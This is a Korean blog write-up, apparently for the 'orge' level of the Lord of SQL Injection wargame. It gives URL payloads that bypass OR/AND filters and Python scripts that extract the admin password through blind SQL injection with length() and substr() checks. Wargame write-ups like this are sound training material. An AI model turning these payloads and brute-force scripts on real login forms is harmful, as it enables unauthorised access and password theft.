힌트1.   이전 문제와 비슷하다. 다른점이 있다면 pw를 알아야 한다는 것.

힌트2. 그렇다. Blind…

 

 

 

 

풀이.
최종적인 목표는 id=admin이고 admin의 pw를 알아내야 한다.
우선, or과 and를 우회한 다음 적절한 쿼리를 넣어서 pw 길이를 알아내보자.
첫번째 쿼리에서 id=’guest’ 라고 되어 있으므로 이것부터 우회 해야한다.

?pw=1’||id=’admin
이렇게 하면 일단 admin으로 로그인이 되지만, pw가 맞지 않아서 풀 수가 없다.
일단, pw 길이를 알아야 하기 때문에 다음과 같은 값을 보낸다.

?pw=1’||id=’admin’%26%26length(pw)=1%23   =>  %26은 &, %23은 #
pw길이가 1자리는 아니다. 대소관계를 사용해서 >,<로 pw 길이를 알아내도 된다.
근데 난 짱짱python으로 pw길이를 찾을 것이다.

 

import requests
import string
import time

wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
			'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
			'Cookie': 'PHPSESSID=값값값값값',
			'Connection': 'close'
	     }		


'''
######## Find the password length #######
'''

print("Searching password length...")
for count in range(1,20):
	time.sleep(0.5)
	url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1'||id='admin'%26%26length(pw)="+str(count)+"%23"
	req = requests.get(url, headers=header)
	print(url)
	if req.text.find("<h2>Hello admin</h2>") != -1:		# if not found, return -1
		print("password length : %d" % count)
		break

 

 

pw 길이를 찾았다.
이번에는 substr 함수를 이용해서 admin의 패스워드를 알아내보자.

 

 

 

import requests
import string
import time

wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
			'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
			'Cookie': 'PHPSESSID=값값값값',
			'Connection': 'close'
	     }	

passwdLen=8
print("Searching password...")
for count in range(1,passwdLen+1):
	for string in range(len(wordList)):
		time.sleep(1)
		url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1||id='admin'%26%26substr(pw,"+str(count)+",1)='"+str(wordList[string])+"'%23"
		req = requests.get(url, headers=header)
		print(url)
		if req.text.find("<h2>Hello admin</h2>") != -1:	# if not found, return -1	
			print(wordList[string])
			break

(위에 툴 돌려봤는데 학교측이 이상한 건지 계속 끊긴다… 답은 알아서 찾도록)

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] – vampire 힌트 및 풀이  (0) 2019.04.06
[LOS] – troll 힌트 및 풀이  (0) 2019.04.06
[LOS] – orge 힌트 및 풀이  (0) 2019.04.06
[LOS] – darkelf 힌트 및 풀이  (0) 2019.04.06
[LOS] – wolfman 힌트 및 풀이  (0) 2019.04.06
[LOS] – orc 힌트 및 풀이  (0) 2019.04.06